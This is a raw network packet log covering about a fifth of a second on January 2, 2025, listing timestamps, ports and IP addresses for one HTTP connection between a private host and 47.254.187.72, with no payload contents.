Jan 2, 2025 20:34:52.917212963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.917229891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.917242050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.917252064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.917263985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.917274952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.917292118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.917299986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.917324066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.917356968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.919533014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919543028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919553041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919564962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919574022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919583082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919591904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.919595003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919605017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919615984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.919616938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919625998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.919647932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.919668913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.922441006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.922451973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.922461987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.922472000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.922482967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.922492981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.922504902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.922507048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.922533035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.922569036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.927146912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927159071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927174091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927185059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927195072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927205086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927208900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.927222013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927236080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927236080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.927278996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.927360058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927370071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927386045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927397013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927406073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927409887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.927417040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927423000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.927428961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927442074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927454948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.927459002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.927483082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.927505016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.929183006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.929222107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.929241896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.929253101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.929269075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.929280043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.929280996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.929291010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.929301023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.929311991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.929316998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.929321051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.929337978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.929358959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.930203915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.930249929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.930272102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.930282116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.930291891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.930304050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.930310965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.930320024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.930330992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.930340052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.930341959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.930356979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.930387020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000324011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000349045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000368118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000377893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000389099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000396013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000406981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000418901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000423908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000431061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000469923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000523090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000533104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000544071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000552893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000554085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000566006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000576019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000586033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000586987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000597000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000610113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000616074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000632048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000633955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000648975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000659943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000663996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000669956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000680923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000684023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000689983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000700951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000713110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000722885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000731945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000740051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000742912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000752926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000763893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000775099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000775099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000785112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000793934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000802994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000811100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000813961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000824928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000838995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000864983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000921965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000933886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000945091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000957012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000965118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000967979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000978947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.000979900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.000997066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001008987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001014948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001019955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001030922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001048088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001049042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001059055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001064062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001072884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001082897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001091957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001094103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001115084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001127005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001127005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001137972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001144886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001157045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001168013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001169920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001178980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001188993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001199007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001204014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001214027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001214981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001228094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001238108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001240015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001245022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001255035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001266956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001271009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001277924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001286983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001288891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.001312017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.001338005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.004026890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.004040003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.004057884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.004067898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.004079103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.004081964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.004091024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.004101992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.004107952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.004112005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.004143953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.006362915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.006381989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.006392956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.006402969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.006414890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.006424904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.006426096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.006438017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.006448984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.006455898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.006495953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.009212017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.009227037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.009243965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.009253979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.009265900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.009277105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.009289026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.009298086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.009304047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.009331942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.014790058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014803886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014821053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014832020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014843941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014854908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014914989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014916897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.014933109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014940977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.014945030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014955044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014972925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014977932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.014983892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014993906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.014996052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.015003920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.015014887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.015028954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.015042067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.015057087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.015075922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.015927076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.015973091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.016000032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.016010046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.016021967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.016028881 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.016037941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.016048908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.016048908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.016060114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.016072035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.016086102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.016102076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.017011881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.017055988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.017057896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.017072916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.017082930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.017083883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.017095089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.017100096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.017117023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.017122030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.017127991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.017149925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.017177105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087059021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087101936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087122917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087135077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087141991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087146044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087157011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087167978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087172031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087179899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087189913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087199926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087212086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087223053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087233067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087251902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087270021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087280035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087290049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087301016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087318897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087321043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087327003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087331057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087344885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087347984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087359905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087366104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087371111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087382078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087397099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087399960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087408066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087414980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087419033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087433100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087474108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087493896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087505102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087515116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087538958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087554932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087575912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087599993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087616920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087627888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087637901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087639093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087650061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087661982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087666988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087671995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087692022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087713957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087744951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087755919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087768078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087790012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087805033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087810993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087822914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087832928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087843895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087851048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087857008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087865114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087897062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087914944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087935925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087977886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.087980986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.087990999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088001966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088018894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088033915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088057995 CET	80	49730	47.254.187.72	192.168.2.4
